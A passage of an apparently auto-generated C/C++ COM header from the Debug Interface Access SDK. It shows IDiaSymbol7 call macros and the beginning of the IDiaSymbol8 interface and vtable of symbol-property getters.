IDiaSymbol7_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol7_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol7_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol7_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol7_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol7_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol7_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol7_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol7_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol7_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol7_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol7_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol7_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol7_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol7_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol7_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol7_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n\n#define IDiaSymbol7_get_inlinee(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) \n\n#define IDiaSymbol7_get_inlineeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) \n\n\n#define IDiaSymbol7_get_noexcept(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) \n\n\n#define IDiaSymbol7_get_hasAbsoluteAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) \n\n\n#define IDiaSymbol7_get_isStaticMemberFunc(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) \n\n\n#define IDiaSymbol7_get_isSignRet(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSignRet(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol7_get_isSignRet_Proxy( \n    IDiaSymbol7 * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol7_get_isSignRet_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol7_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol8_INTERFACE_DEFINED__\n#define __IDiaSymbol8_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol8 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol8;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"7f2e041f-1294-41bd-b83a-e715972d2ce3\")\n    IDiaSymbol8 : public IDiaSymbol7\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_coroutineKind( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolKind( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolRva( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolAddr( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol8Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol8 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol8 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol8 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol8 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol8 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol8 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol8 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol8 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( 